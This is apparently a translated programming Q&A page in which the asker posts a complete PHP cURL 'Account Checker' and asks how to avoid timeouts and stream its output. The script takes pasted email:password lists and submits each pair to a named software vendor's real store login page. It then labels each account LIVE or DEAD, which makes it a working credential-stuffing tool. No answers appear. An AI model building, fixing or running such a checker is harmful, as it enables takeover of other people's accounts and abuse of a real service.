单独处理每一行以在PHP cURL脚本中停止超时

时间:2013-05-10 16:29:00

标签: php curl timeout

我的检查程序脚本出现超时。有没有办法可以让它停止超时? 此外,我希望它逐行发布每个回声,而不是等待脚本结束。

这是我的代码:

<?php
set_time_limit(0);
include "simple_html_dom.php";
function checkmail($email, $password){
    $url = "http://izotope.com/store/account.asp";

    $h = curl_init();
    curl_setopt($h, CURLOPT_FRESH_CONNECT, true);
    curl_setopt($h, CURLOPT_URL, $url); 
    curl_setopt($h, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($h, CURLOPT_POST, true);
    curl_setopt($h, CURLOPT_POSTFIELDS,  "txtUsername=".$email."&radCustomerType=old&txtPassword=".$password."&loginSubmit=Account+Login&txtInstanceID=&txtMachineID=&txtChallenge=&txtProduct=&txtVersion=&txtMethod=&txtPage=&txtNextPage=&txtLanguage=en&bShowSerial=False");
    curl_setopt($h, CURLOPT_HEADER, true);
    curl_setopt($h, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($h, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($h, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($h, CURLOPT_FOLLOWLOCATION, false);



    $result = curl_exec($h);
    return $result;

}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en">
<head>
    <!-- no cache headers -->
    <meta http-equiv="Pragma" content="no-cache" />
    <meta http-equiv="Expires" content="-1" />
    <meta http-equiv="Cache-Control" content="no-cache" />
    <!-- end no cache headers -->
    <title>Account Checker</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <style type="text/css">
        body{
            background-color: #333333;
            font-size: 10pt;
            font-family: Verdana;
        }
        body,td,th {
            color: #cccccc;
        }
        h1,h6{
            margin-bottom:10px;
            margin-top:0px;
        }
        select,textarea,.uneditable-input {
            text-align: center;
            border-color: #B333E5;
            border:0px solid gray; 
            resize:none; 
            background-color:#666666;
            color:#ffffff; 
            outline:0; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;
        }
        select,textarea:focus,.uneditable-input:focus {
            -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            border:0px solid gray; 
            resize:none; 
            background-color:grey;
            color:#ffffff; 
            outline:0; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;
        }    
        input[type="text"]:hover{
            -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            border:0px solid gray; 
            resize:none; 
            background-color:grey;
            color:#ffffff; 
            outline:0; 
            border-radius:12px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;    
        }
        input[type="text"]{
            text-align: center;
            border-color: #B333E5;
            border:0px solid gray; 
            resize:none; 
            background-color:#666666;
            color:#ffffff; 
            outline:0; 
            border-radius:12px; 
        }
        input[type="submit"]:hover {
            -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            border:0px solid gray; 
            resize:none; 
            background-color:#F7FBFA;
            color:#000; 
            outline:2px; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;
        }
        input[type="submit"] {    
            -webkit-transition: width 0.6s ease;
            -moz-transition: width 0.6s ease;
            -o-transition: width 0.6s ease;
            border:0px solid gray; 
            resize:none; 
            background-color:#D7D1F8;
            color:#000; 
            outline:0; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 15px 1px #333333;
        }
    </style>    
</head>
<body>
    <h1 align="center">
            <b style='color:blue'>Account Checker</b>
    </h1>
    <form action="" method="post">
        <div align="center">
            <textarea name="mp" cols="100" rows="12">email@domain.com:password</textarea>
            <br />
            <b>
                Splitter: <input type="text" name="delim" value=":" style="width:32px;" />
                <input type="submit" value=" Check Now " name="submit" />
            </b>

    <?php

    if (isset($_POST['mp'], $_POST['delim'], $_POST['submit'])) {
        $mps = preg_split('/\r\n|\r|\n/', $_POST['mp']);

        // Create an array to store results
        $result_data = array();

        // Iterate over requests
        foreach ($mps as $mp) {
            $mp = explode($_POST['delim'], $mp);

            // Store the account details in variables
            list($email, $password) = $mp;

            // Get HTML data
            $html_string = checkmail($email, $password);
            $html = str_get_html($html_string);
            $body = $html->find("body", 0);

            // Prepare a reusable string
            $result_string = "Checked " . $email .  " : " . $password . " is ";

            // Append necessary word to it
            if ($body->getAttribute("onload") === "document.frmWait.submit()") {
                $result_string .= "LIVE";
            } else {
                $result_string .= "DEAD";
            }

            // Add result to the array
            $result_data[] = $result_string;
        }

        // Store of results complete. We now display them.
        if (count($result_data)) {
            echo "<ul>";
            foreach ($result_data as $result_data_entry) {
                echo "<li>" . htmlspecialchars($result_data_entry) . "</li>";
            }
            echo "</ul>";
        }
    }

    ?></div>
    </form>
    <br />

</body>

0 个答案:

没有答案